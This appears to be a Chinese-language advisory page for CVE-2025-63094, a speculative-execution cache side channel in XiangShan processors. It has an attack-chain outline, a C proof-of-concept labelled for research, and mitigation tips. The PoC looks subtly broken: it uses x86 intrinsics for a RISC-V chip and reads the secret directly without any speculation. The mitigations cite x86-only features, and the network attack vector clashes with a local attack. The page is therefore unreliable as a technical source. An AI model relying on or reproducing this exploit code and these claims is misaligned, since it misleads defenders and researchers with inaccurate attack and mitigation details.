CVE-2025-63094 | XiangShan处理器推测执行侧信道信息泄露漏洞

漏洞信息

漏洞编号

CVE-2025-63094

漏洞类型

侧信道攻击/推测执行漏洞/信息泄露

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

XiangShan Nanhu V2, XiangShan Kunmighu V3

漏洞概述

CVE-2025-63094是影响香山处理器（XiangShan）Nanhu V2和Kunmighu V3版本的安全漏洞。该漏洞源于处理器使用推测执行（Speculative Execution）和间接分支预测（Indirect Branch Prediction）机制，存在侧信道分析风险。攻击者可以通过利用数据缓存（Data Cache）的时序特性和访问模式，绕过内存隔离机制，非法获取目标系统中的敏感信息。此漏洞属于微架构侧信道攻击类别，与Spectre/Meltdown系列漏洞类似，可被用于泄露密钥、密码或其他机密数据。攻击者无需特殊权限即可发起攻击，且攻击过程隐蔽，难以被传统安全检测工具发现。

技术细节

该漏洞利用了现代处理器中的推测执行特性。当处理器遇到条件分支时，会基于分支预测器预测的路径提前执行指令。XiangShan处理器的间接分支预测器在预测目标地址时，可能导致敏感数据被加载到缓存中。攻击者通过精心构造的触发条件，使处理器执行推测操作，将目标地址指向包含敏感信息的内存位置。由于推测执行的结果可能在分支预测失败时被回滚，但缓存状态的变化会被保留，攻击者利用Flush+Reload或Prime+Probe等缓存侧信道技术，通过测量内存访问时间差异来推断缓存中是否存在特定数据，从而恢复敏感信息。这种攻击方式绕过了操作系统的内存隔离保护，属于微架构层面的安全威胁。

攻击链分析

STEP 1

步骤1

攻击者构造恶意代码，利用处理器分支预测器进行训练，使预测器学习特定的分支模式

STEP 2

步骤2

攻击者触发间接分支跳转，将推测执行路径引导至包含敏感信息的内存地址

STEP 3

步骤3

处理器执行推测操作，将敏感数据加载到数据缓存中，尽管该操作最终会被回滚

STEP 4

步骤4

攻击者使用Flush+Reload或Prime+Probe等缓存侧信道技术，测量特定内存地址的访问时间

STEP 5

步骤5

通过分析访问时间差异（缓存命中vs未命中），攻击者推断出敏感数据的内容

STEP 6

步骤6

攻击者重复上述过程，逐步恢复完整的敏感信息，如加密密钥、密码等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-63094 PoC - XiangShan Speculative Execution Side-Channel Attack
// Based on research from https://github.com/necst/aca25-xiangshan-spectre

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <x86intrin.h>

#define ARRAY_SIZE 256
#define CACHE_HIT_THRESHOLD 80

// Secret data simulation
char secret_data[16] = "SECRET_KEY_123";

// Training data for branch predictor
char training_array[ARRAY_SIZE * 512];

// Side channel detection array
volatile char probe_array[ARRAY_SIZE * 512];

void flush_side_channel() {
    // Flush probe array from cache
    for (int i = 0; i < ARRAY_SIZE; i++) {
        _mm_clflush(&probe_array[i * 512]);
    }
}

size_t read_side_channel(size_t malicious_x) {
    size_t time1, time2;
    volatile char *addr;
    
    // Access probe array based on malicious index
    addr = &probe_array[malicious_x * 512];
    time1 = __rdtsc();
    *addr;  // Memory access to trigger cache load
    time2 = __rdtsc();
    
    return time2 - time1;
}

void attack_sequence() {
    size_t training_index, malicious_index, result;
    
    // Initialize arrays
    memset((void*)training_array, 0, sizeof(training_array));
    memset((void*)probe_array, 0, sizeof(probe_array));
    
    printf("Starting XiangShan Speculative Execution Attack PoC\n");
    printf("Target secret: %s\n\n", secret_data);
    
    // Attack loop
    for (int iter = 0; iter < 1000; iter++) {
        // Flush cache before each attempt
        flush_side_channel();
        
        // Training phase: manipulate branch predictor
        for (int i = 0; i < 10; i++) {
            training_index = i & (ARRAY_SIZE - 1);
            malicious_index = (secret_data[i % strlen(secret_data)] & 0xFF) % ARRAY_SIZE;
            
            // Speculatively read secret data
            result = read_side_channel(malicious_index);
        }
        
        // Measure timing to detect cached data
        malicious_index = (secret_data[0] & 0xFF) % ARRAY_SIZE;
        result = read_side_channel(malicious_index);
        
        if (result < CACHE_HIT_THRESHOLD) {
            printf("Cache HIT detected at index: %zu\n", malicious_index);
            printf("Potential leaked byte value: %d\n", (int)malicious_index);
        }
    }
    
    printf("\nAttack completed. Check timing patterns for leaked data.\n");
}

int main() {
    printf("========================================\n");
    printf("CVE-2025-63094 PoC - XiangShan Side-Channel\n");
    printf("========================================\n");
    
    attack_sequence();
    
    return 0;
}

影响范围

XiangShan Nanhu V2 < 修复版本

XiangShan Kunmighu V3 < 修复版本

防御指南

临时缓解措施

由于该漏洞属于硬件架构层面的设计缺陷，临时缓解措施较为有限。建议：(1) 监控异常进程行为，特别是大量内存访问操作的进程；(2) 限制非授权用户访问敏感系统资源；(3) 使用内核页表隔离（KPTI）减少内核数据泄露风险；(4) 启用SMEP/SMAP等CPU安全特性；(5) 在条件允许时，考虑使用虚拟化技术隔离关键工作负载。长期解决方案需等待处理器厂商发布硬件层面的安全修复。